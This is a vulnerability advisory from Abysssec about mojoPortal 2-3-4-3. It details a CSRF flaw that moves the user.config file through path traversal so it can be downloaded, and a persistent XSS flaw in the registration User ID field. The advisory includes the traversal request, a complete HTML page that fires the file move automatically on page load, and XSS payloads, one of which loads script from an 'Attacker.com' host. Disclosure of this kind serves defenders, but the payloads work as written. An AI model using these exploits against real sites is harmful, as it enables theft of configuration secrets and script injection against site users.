MOAUB

Abysssec Research

1) Advisory information

Title	: mojoportal Multiple Remote Vulnerabilities
Affected	: mojoPortal 2-3-4-3
Discovery	: www.abysssec.com
Vendor	: http://www.mojoportal.com/
Impact	: Critical
Contact	: shahin [at] abysssec.com , info [at] abysssec.com
Twitter	: @abysssec

2) Vulnerability Information

Class

1- **CSRF Move Files for download and DDOS attack**
2- **Persistent XSS**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- CSRF Move Files for download and DDOS attack:

With This vulnerability you can feed the malicious link to Admin of site (when he is already logged in) to move a file with Administrator Privilege. In this path you can find a method that move files to any path:

```
http://Example.com/Services/FileService.ashx
```

With this command we can move user.config file to user.config.aaa:

```
www.example.com/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.config.aaa
```

And then we can download it from URL:

```
http://Example.com/user.config.aaa
```

Vulnerable Code:

```
    ../Services/FileService.ashx.cs
    ln 308:   result = fileSystem.MoveFile(srcPath, destPath, false);
```

Here is HTML File with AJAX Code for move user.config file to any path that is enough to Admin meet it. For this porpuse you can enter your malicious URL in this Path (in Web Site URL field):

```
http://localhost:60941/Secure/UserProfile.aspx
```

The Source of HTML Page (Malicious Link) :

```
<html>
<head>
<title >Wellcome to MojoPortal!</title>
Hello!
...
...
...
This page move user.config file to another path for DDOS Attack and download new file from server.

<script>
    function FileMove() {
        //alert('FileMove');
        //// For Mozila FireFox this code must be writen
        try {
            netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
        } catch (e) {
            //alert("Permission to read file was denied.");
        }

        var http = false;
        //alert(navigator.appName);  //// It Get Browser Type
        if (window.XMLHttpRequest) {
            http = new XMLHttpRequest();    // Firefox, Safari, ...
            //alert('XMLHttpRequest');
         }
         else if (window.ActiveXObject) {
            http = new ActiveXObject("Microsoft.XMLHTTP");  // Internet Explorer
            //alert('ActiveXObject');
         }

         url =
"http://localhost:60941/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.conf
ig.aaa";
         http.onreadystatechange = done;
         http.open('GET', url, true);
         http.send(null);
      }
      function done() {
         if (http.readyState == 4 && http.status == 200) {
            //alert(http.responseText);
            //alert('Upload OK');
         }
      }
</script>
</head>
<body onload ="FileMove();">

</body>
</html>
```

2-Persistent XSS Vulnerability:

In these URL you can see a persistent XSS Vulnerability:

http://Example.com/Secure/Register.aspx

You can enter this value for User ID and there is sanitization:

```
        User ID  : user3</title><script>alert(' sanitization')</script>
```

And register in site.

When another users see your Profile in this path (for Example):

http://Example.com/ProfileView.aspx?userid=5

Then you will receive your alert and script execution.

Vulnerable Code:

```
    ../Secure/Register.aspx.cs
    ln 166:   TextBox txtUserName =
(TextBox)CreateUserWizardStep1.ContentTemplateContainer.FindControl("UserName");
```

Note: The User ID field is limited to 50 characters. As result you can for example enter this value:

```
User ID  : u1</title><img src="http://Attacker.com/t.js">
```